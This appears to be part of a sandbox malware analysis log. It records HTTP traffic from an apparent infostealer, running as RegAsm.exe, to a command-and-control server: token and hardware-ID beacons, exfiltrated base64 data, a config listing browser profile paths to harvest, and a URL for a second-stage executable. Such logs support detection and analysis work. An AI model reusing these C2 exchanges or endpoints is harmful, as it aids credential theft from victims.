2024-09-21 11:35:30 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 31 65 34 66 32 38 61 30 64 66 38 35 38 37 32 30 63 32 65 64 34 30 38 39 35 35 34 38 63 37 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 38 30 62 65 34 35 61 31 65 62 36 34 35 34 63 61 39 31 36 66 39 32 63 33 36 65 62 66 36 37 64 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4a 4b 45 48 49 4a 45 43 47 43 42 46 49 4a 45 47 49 0d 0a 43 6f 6e 74 Data Ascii: ------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="token"991e4f28a0df858720c2ed40895548c7------FBKJKEHIJECGCBFIJEGIContent-Disposition: form-data; name="build_id"d80be45a1eb6454ca916f92c36ebf67d------FBKJKEHIJECGCBFIJEGICont
2024-09-21 11:35:30 UTC	16355	OUT	Data Raw: 4a 52 53 30 6c 41 78 4b 4b 57 6b 49 6f 41 53 67 30 55 55 61 44 45 6f 6f 6f 6f 47 4a 53 55 36 6b 78 52 63 42 4b 53 6e 59 70 70 6f 47 46 4a 53 30 55 44 47 6d 69 6c 70 4b 42 68 32 70 4b 58 46 4a 69 67 59 6c 4a 54 71 54 46 49 42 4b 53 6c 36 30 6c 41 78 4f 39 4a 32 70 31 49 52 51 55 49 61 53 6e 47 6b 49 6f 47 4e 36 47 69 6c 4e 4a 31 6f 41 54 72 53 45 55 37 47 4b 61 52 51 55 46 49 65 52 53 34 70 50 6f 4d 55 41 46 4a 53 34 35 7a 52 51 4d 62 52 53 30 6e 66 2b 74 41 78 44 79 4b 44 79 4b 57 69 67 59 33 50 34 69 6b 36 55 34 39 36 62 6a 69 67 59 66 68 52 31 2f 2b 76 53 38 34 39 61 51 38 2b 31 41 78 44 7a 52 6a 4e 4c 2b 6c 4a 6a 50 2b 46 41 43 66 68 2b 64 48 57 69 6c 4e 41 78 75 4f 4f 39 4a 32 70 78 39 36 51 30 77 45 6f 49 39 61 4f 6c 42 39 71 51 78 50 38 6d 6b 48 34 Data Ascii: JRS0lAxKKWkIoASg0UUaDEooooGJSU6kxRcBKSnYppoGFJS0UDGmilpKBh2pKXFJigYlJTqTFIBKSl60lAxO9J2p1IRQUIaSnGkIoGN6GilNJ1oATrSEU7GKaRQUFIeRS4pPoMUAFJS45zRQMbRS0nf+tAxDyKDyKWigY3P4ik6U496bjigYfhR1/+vS849aQ8+1AxDzRjNL+lJjP+FACfh+dHWilNAxuOO9J2px96Q0wEoI9aOlB9qQxP8mkH4
2024-09-21 11:35:30 UTC	16355	OUT	Data Raw: 54 6e 2f 41 42 2f 43 6d 54 65 42 2f 45 63 4d 2f 6c 66 32 63 37 38 34 44 6f 36 6c 54 2b 4f 65 50 78 72 70 76 44 32 69 52 2b 46 5a 7a 63 36 68 4c 45 2b 72 50 47 66 4a 74 6f 7a 75 38 70 54 31 5a 76 35 66 34 39 76 72 63 78 7a 44 44 55 63 4c 4f 63 70 4a 71 7a 4d 38 4c 68 71 30 71 30 56 61 32 70 70 58 51 56 4c 79 64 56 2b 36 73 6a 41 66 54 4e 59 48 69 51 41 32 45 52 37 69 55 44 39 44 57 75 57 4a 4a 4a 4f 53 65 74 63 2f 34 6a 6e 42 61 47 41 48 70 6c 32 2f 70 2f 57 76 79 62 68 6d 4d 71 32 63 55 6e 44 6f 32 2f 52 57 66 2f 44 48 31 48 45 4d 34 30 73 73 71 63 33 56 4a 66 4f 36 4d 4b 6b 35 70 61 4b 2f 61 7a 38 6a 43 69 69 69 67 44 76 64 5a 51 58 73 2f 67 7a 54 5a 75 62 61 59 2b 62 49 6e 5a 69 6b 61 6b 41 2b 33 4a 2f 4f 70 50 47 75 73 36 6a 62 36 6e 70 6d 6b 61 66 64 Data Ascii: Tn/AB/CmTeB/EcM/lf2c784Do6lT+OePxrpvD2iR+FZzc6hLE+rPGfJtozu8pT1Zv5f49vrcxzDDUcLOcpJqzM8Lhq0q0Va2ppXQVLydV+6sjAfTNYHiQA2ER7iUD9DWuWJJJOSetc/4jnBaGAHpl2/p/WvybhmMq2cUnDo2/RWf/DH1HEM40ssqc3VJfO6MKk5paK/az8jCiiigDvdZQXs/gzTZubaY+bInZikakA+3J/OpPGus6jb6npmkafd
2024-09-21 11:35:30 UTC	16355	OUT	Data Raw: 56 4c 61 59 7a 73 4c 57 56 69 68 43 6e 44 71 46 77 76 41 7a 78 6b 38 64 65 61 6d 4e 2f 50 38 41 5a 35 66 73 75 6f 66 61 56 48 6c 59 6e 4b 4b 64 72 4d 34 42 58 67 41 64 4f 33 55 55 41 62 39 51 51 58 74 72 64 4d 79 32 39 7a 44 4d 56 2b 38 49 35 41 32 50 79 71 43 78 6b 6d 38 79 38 67 6d 6d 61 62 79 5a 41 71 75 77 41 4a 42 55 48 6e 41 41 37 2b 6c 5a 4e 6c 65 79 4c 6f 45 61 77 33 39 73 30 71 69 4a 51 73 53 6a 66 47 43 77 42 33 5a 4a 7a 31 39 42 51 42 30 6c 46 59 6b 31 78 64 77 2f 62 6a 39 72 63 72 41 38 63 59 4a 52 66 6c 55 68 4e 7a 6e 41 36 6a 4a 50 70 37 55 67 75 37 69 51 78 78 77 33 78 6b 69 65 36 45 61 33 4b 71 68 4c 4c 73 4a 49 48 47 30 34 49 36 67 66 31 6f 41 33 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f Data Ascii: VLaYzsLWVihCnDqFwvAzxk8deamN/P8AZ5fsuofaVHlYnKKdrM4BXgAdO3UUAb9QQXtrdMy29zDMV+8I5A2PyqCxkm8y8gmmabyZAquwAJBUHnAA7+lZNleyLoEaw39s0qiJQsSjfGCwB3ZJz19BQB0lFYk1xdw/bj9rcrA8cYJRflUhNznA6jJPp7Ugu7iQxxw3xkie6Ea3KqhLLsJIHG04I6gf1oA3KKKKACiiigAooooAKKKKACiiigAoooo
2024-09-21 11:35:30 UTC	16355	OUT	Data Raw: 74 53 59 39 2b 61 4d 35 6f 4a 39 36 51 41 54 6b 65 39 4a 53 6e 4a 70 4d 59 4e 41 7a 30 4f 6b 70 61 4b 79 50 6b 68 4b 57 69 69 67 42 4b 4b 4b 4b 42 68 52 52 52 53 41 4b 4b 4b 4b 41 43 69 6c 7a 52 54 41 53 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 6c 6f 6f 41 53 69 69 69 67 41 70 4d 55 74 46 49 42 4d 55 55 74 4a 69 6d 41 55 55 74 4a 69 67 41 6f 6f 78 52 69 67 41 70 4b 57 69 67 42 4b 4b 57 69 67 59 6c 46 4c 52 51 41 6c 46 46 46 41 42 53 55 74 46 41 43 55 55 55 43 6d 41 55 64 71 57 69 67 42 4b 4b 4b 4b 41 41 30 6c 4c 53 55 41 46 46 46 46 43 47 4a 52 51 61 4b 41 43 6b 70 61 54 76 51 4d 51 39 4b 69 65 70 6a 55 54 30 6d 56 48 63 39 45 2b 48 50 2f 49 41 75 66 38 41 72 37 62 2f 41 4e 41 53 75 77 72 6a 2f 68 7a 2f 41 4d 67 43 35 2f 36 2b 32 2f 38 41 51 45 Data Ascii: tSY9+aM5oJ96QATke9JSnJpMYNAz0OkpaKyPkhKWiigBKKKKBhRRRSAKKKKACilzRTASiiigAooooAKKKKACilooASiiigApMUtFIBMUUtJimAUUtJigAooxRigApKWigBKKWigYlFLRQAlFFFABSUtFACUUUCmAUdqWigBKKKKAA0lLSUAFFFFCGJRQaKACkpaTvQMQ9KiepjUT0mVHc9E+HP/IAuf8Ar7b/ANASuwrj/hz/AMgC5/6+2/8AQE
2024-09-21 11:35:30 UTC	16355	OUT	Data Raw: 2f 74 47 32 2f 35 37 78 66 39 39 69 75 46 59 44 44 52 36 2f 6a 35 33 2f 4d 39 57 65 62 34 36 70 65 36 33 38 69 6b 6b 64 31 45 30 46 73 31 6c 35 31 6a 46 61 76 61 79 6f 5a 4d 4e 4b 47 6d 4d 77 5a 54 6a 35 57 56 69 4d 63 45 63 63 67 35 78 55 38 6d 6f 4c 45 31 71 39 68 59 58 55 4e 33 62 6d 56 6b 6a 75 74 6b 79 74 4b 79 62 46 6d 5a 38 41 45 6f 43 51 45 38 76 48 63 74 32 71 62 2b 30 62 62 2f 41 4a 37 78 66 39 39 69 6a 2b 30 62 62 2f 6e 76 46 2f 33 32 4b 63 73 46 68 32 6d 6b 37 58 64 39 79 59 5a 6e 69 34 74 4e 78 75 30 72 4c 51 7a 37 6f 61 6c 39 6c 74 59 58 73 4c 61 56 72 64 62 6c 49 6e 74 59 6f 37 5a 55 57 65 45 78 73 4e 6b 61 41 48 6b 68 73 39 65 43 4f 2b 52 4c 5a 33 45 39 70 62 77 51 2f 77 42 6a 7a 6c 59 68 41 43 42 64 4d 4e 77 51 66 76 50 70 76 50 50 2b 7a Data Ascii: /tG2/57xf99iuFYDDR6/j53/M9Web46pe638ikkd1E0Fs1l51jFavayoZMNKGmMwZTj5WViMcEccg5xU8moLE1q9hYXUN3bmVkjutkytKybFmZ8AEoCQE8vHct2qb+0bb/AJ7xf99ij+0bb/nvF/32KcsFh2mk7Xd9yYZni4tNxu0rLQz7oal9ltYXsLaVrdblIntYo7ZUWeExsNkaAHkhs9eCO+RLZ3E9pbwQ/wBjzlYhACBdMNwQfvPpvPP+z
2024-09-21 11:35:30 UTC	16355	OUT	Data Raw: 4d 4b 4b 4b 44 51 41 6c 46 46 46 41 78 4b 4b 4b 44 51 41 47 6b 70 65 31 4a 54 47 4a 52 52 51 61 41 45 6f 6f 6f 6f 47 4a 52 52 52 51 4d 4b 53 67 30 55 41 49 61 4b 4b 44 54 47 4a 51 65 6c 46 42 36 55 44 45 6f 6f 6f 6f 47 4a 52 52 52 51 41 6c 4a 53 30 6c 41 78 44 52 51 61 4b 42 67 61 53 6c 4e 4a 51 41 6c 4a 53 30 68 6f 4b 43 6b 70 61 53 67 59 55 6c 4c 53 55 44 45 6f 4e 46 42 6f 41 53 69 69 6b 6f 47 46 4a 53 30 6c 41 78 4b 4b 4b 4b 42 69 55 68 70 61 53 67 59 47 6b 70 54 53 55 44 45 6f 4e 46 42 6f 41 61 61 4b 44 52 54 47 42 70 4d 30 70 70 74 49 59 66 35 36 55 68 70 54 53 55 46 42 53 47 6c 70 44 30 6f 41 53 6b 70 61 53 6d 4d 4b 51 30 74 4a 51 55 42 70 44 51 61 44 51 43 45 6f 6f 6f 6f 47 4a 32 70 4b 55 30 6c 41 77 37 30 6e 53 69 69 67 61 45 4e 42 36 55 45 30 6c Data Ascii: MKKKDQAlFFFAxKKKDQAGkpe1JTGJRRQaAEooooGJRRRQMKSg0UAIaKKDTGJQelFB6UDEooooGJRRRQAlJS0lAxDRQaKBgaSlNJQAlJS0hoKCkpaSgYUlLSUDEoNFBoASiikoGFJS0lAxKKKKBiUhpaSgYGkpTSUDEoNFBoAaaKDRTGBpM0pptIYf56UhpTSUFBSGlpD0oASkpaSmMKQ0tJQUBpDQaDQCEooooGJ2pKU0lAw70nSiigaENB6UE0l
2024-09-21 11:35:30 UTC	7984	OUT	Data Raw: 6e 4f 4f 6f 50 47 65 4b 47 72 41 64 4a 52 58 42 70 34 68 31 69 35 6a 73 4e 4e 69 2b 32 54 58 4c 50 64 4c 50 63 32 61 51 4c 4b 36 77 79 65 57 43 42 4b 51 67 4a 79 43 65 44 37 44 6e 49 75 52 58 50 69 47 65 66 53 62 43 36 75 5a 72 43 57 62 37 54 35 72 37 49 57 6c 64 45 4b 37 47 34 33 49 47 49 50 4f 4d 6a 6b 38 44 6a 41 74 51 36 32 4f 77 6f 72 69 49 4e 58 38 52 61 6a 64 53 58 64 6c 62 58 35 68 6a 76 57 67 57 4c 46 71 4c 64 6f 30 6b 32 4d 57 4c 4e 35 75 37 41 59 35 47 42 6e 48 42 48 58 54 38 5a 57 38 73 2b 6e 32 49 6a 76 4a 37 62 47 6f 57 77 4a 69 43 48 4f 5a 56 41 50 7a 4b 65 6e 55 66 72 6b 63 55 4c 70 35 68 33 38 6a 70 4b 4b 35 6c 47 31 50 56 62 33 55 34 59 4e 59 6e 73 6b 30 35 31 74 30 32 77 78 4d 5a 58 38 74 58 4c 79 62 6c 50 42 33 41 59 58 62 30 50 71 4d Data Ascii: nOOoPGeKGrAdJRXBp4h1i5jsNNi+2TXLPdLPc2aQLK6wyeWCBKQgJyCeD7DnIuRXPiGefSbC6uZrCWb7T5r7IWldEK7G43IGIPOMjk8DjAtQ62OworiINX8RajdSXdlbX5hjvWgWLFqLdo0k2MWLN5u7AY5GBnHBHXT8ZW8s+n2IjvJ7bGoWwJiCHOZVAPzKenUfrkcULp5h38jpKK5lG1PVb3U4YNYnsk051t02wxMZX8tXLyblPB3AYXb0PqM
2024-09-21 11:35:31 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:31 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	49789	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:33 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIIEHJDBKJKECBFHDGH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:33 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 31 65 34 66 32 38 61 30 64 66 38 35 38 37 32 30 63 32 65 64 34 30 38 39 35 35 34 38 63 37 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 38 30 62 65 34 35 61 31 65 62 36 34 35 34 63 61 39 31 36 66 39 32 63 33 36 65 62 66 36 37 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 Data Ascii: ------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="token"991e4f28a0df858720c2ed40895548c7------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="build_id"d80be45a1eb6454ca916f92c36ebf67d------BFIIEHJDBKJKECBFHDGHCont
2024-09-21 11:35:33 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:33 UTC	103	IN	Data Raw: 35 63 0d 0a 4d 54 45 34 4d 44 55 79 4e 33 78 6f 64 48 52 77 4f 69 38 76 4d 54 51 33 4c 6a 51 31 4c 6a 51 30 4c 6a 45 77 4e 43 39 77 63 6d 39 6e 4c 7a 59 32 5a 57 4e 69 4e 44 55 30 5a 44 4a 69 4e 47 46 66 62 47 64 6d 5a 48 4e 71 5a 32 52 7a 4c 6d 56 34 5a 58 77 78 66 47 74 72 61 32 74 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 5cMTE4MDUyN3xodHRwOi8vMTQ3LjQ1LjQ0LjEwNC9wcm9nLzY2ZWNiNDU0ZDJiNGFfbGdmZHNqZ2RzLmV4ZXwxfGtra2t80

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	49791	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:37 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHDAKKJJJKJKECBGCGD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:37 UTC	499	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 31 65 34 66 32 38 61 30 64 66 38 35 38 37 32 30 63 32 65 64 34 30 38 39 35 35 34 38 63 37 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 38 30 62 65 34 35 61 31 65 62 36 34 35 34 63 61 39 31 36 66 39 32 63 33 36 65 62 66 36 37 64 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 Data Ascii: ------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="token"991e4f28a0df858720c2ed40895548c7------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="build_id"d80be45a1eb6454ca916f92c36ebf67d------CGHDAKKJJJKJKECBGCGDCont
2024-09-21 11:35:38 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:38 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.9	49792	116.203.165.127	443

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:38 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFHIDGIJKJKECBGDBGH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:38 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 31 65 34 66 32 38 61 30 64 66 38 35 38 37 32 30 63 32 65 64 34 30 38 39 35 35 34 38 63 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 38 30 62 65 34 35 61 31 65 62 36 34 35 34 63 61 39 31 36 66 39 32 63 33 36 65 62 66 36 37 64 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 48 0d 0a 43 6f 6e 74 Data Ascii: ------DAFHIDGIJKJKECBGDBGHContent-Disposition: form-data; name="token"991e4f28a0df858720c2ed40895548c7------DAFHIDGIJKJKECBGDBGHContent-Disposition: form-data; name="build_id"d80be45a1eb6454ca916f92c36ebf67d------DAFHIDGIJKJKECBGDBGHCont
2024-09-21 11:35:39 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.9	49798	116.203.165.127	443

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:46 UTC	188	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:46 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.9	49799	116.203.165.127	443

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:47 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCFHIDAKECFHIEBFCG User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:47 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 31 43 45 31 36 43 46 45 35 33 34 32 32 38 33 31 39 34 30 33 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 61 31 35 32 33 37 61 61 39 32 64 63 64 38 63 63 63 61 34 34 37 32 31 31 66 62 35 66 63 32 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 2d 2d 0d Data Ascii: ------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="hwid"C71CE16CFE534228319403-a33c7340-61ca------HDGCFHIDAKECFHIEBFCGContent-Disposition: form-data; name="build_id"3a15237aa92dcd8ccca447211fb5fc2a------HDGCFHIDAKECFHIEBFCG--
2024-09-21 11:35:48 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:48 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 63 35 32 38 36 33 35 33 33 61 63 61 34 63 38 38 34 36 30 34 63 38 38 37 65 31 36 66 62 65 34 31 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|c52863533aca4c884604c887e16fbe41\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.9	49800	116.203.165.127	443

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:49 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:49 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 32 38 36 33 35 33 33 61 63 61 34 63 38 38 34 36 30 34 63 38 38 37 65 31 36 66 62 65 34 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 61 31 35 32 33 37 61 61 39 32 64 63 64 38 63 63 63 61 34 34 37 32 31 31 66 62 35 66 63 32 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="token"c52863533aca4c884604c887e16fbe41------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="build_id"3a15237aa92dcd8ccca447211fb5fc2a------GDHDAEBGCAAFIDGCGDHICont
2024-09-21 11:35:49 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:49 UTC	1564	IN	Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIE

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.9	49802	116.203.165.127	443

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:50 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHCGCGCFHIDBFHIIJKJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
